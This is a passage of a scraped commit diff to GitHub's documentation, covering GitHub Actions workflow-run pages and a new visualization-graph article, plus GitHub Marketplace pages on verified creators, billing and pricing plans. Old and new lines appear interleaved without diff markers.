perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ``` ![Image of workflow upload artifact workflow run](/assets/images/help/repository/upload-build-test-artifact.png) {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) {% else %} ![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow.png) {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png) 1. Under "Workflow runs", click the name of the run you want to see. ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png) {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see. ![Select job](/assets/images/help/images/overview-actions-result-navigate.png) {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. View the results of each step. ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png) {% elsif currentVersion ver_gt "[email protected]" %} 1. Click on the job name to see the results of each step. ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated.png) {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel. ![Name of workflow run](/assets/images/help/repository/in-progress-run.png) 1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite-updated.png) {% else %} ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite.png) {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down-updated.png) {% else %} ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down.png) {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**. ![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png) 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down-updated.png){% else %}![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png){% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact-updated.png) {% else %} ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact.png) {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies. ![Workflow graph](/assets/images/help/images/workflow-graph.png) 2. Click on a job to view the job log. ![Workflow graph](/assets/images/help/images/workflow-graph-job.png) 18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Search box to search logs](/assets/images/help/repository/search-log-box-updated-2.png) {% else %} ![Search box to search logs](/assets/images/help/repository/search-log-box-updated.png) {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step. ![Step name](/assets/images/help/repository/failed-check-step.png) @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated-2.png) {% else %} ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated.png) {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down.png) @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png) {% else %} ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated.png) {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated-2.png) {% else %} ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated.png) {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**. ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png) {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job. ![Lint code base job](/assets/images/help/repository/superlinter-lint-code-base-job-updated.png) {% else %} 1. In the left sidebar, click the **Lint code base** job. ![Lint code base job](/assets/images/help/repository/superlinter-lint-code-base-job.png) {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)." ![Green verified and grey unverified badge](/assets/images/marketplace/marketplace_verified_badges.png) If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly. ![verified creator badges](/assets/images/marketplace/marketplace_verified_creator_badges_apps.png) In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps. ![Green verified and grey unverified badge](/assets/images/marketplace/marketplace_verified_badges.png) For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [[email protected]](mailto:[email protected]) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data 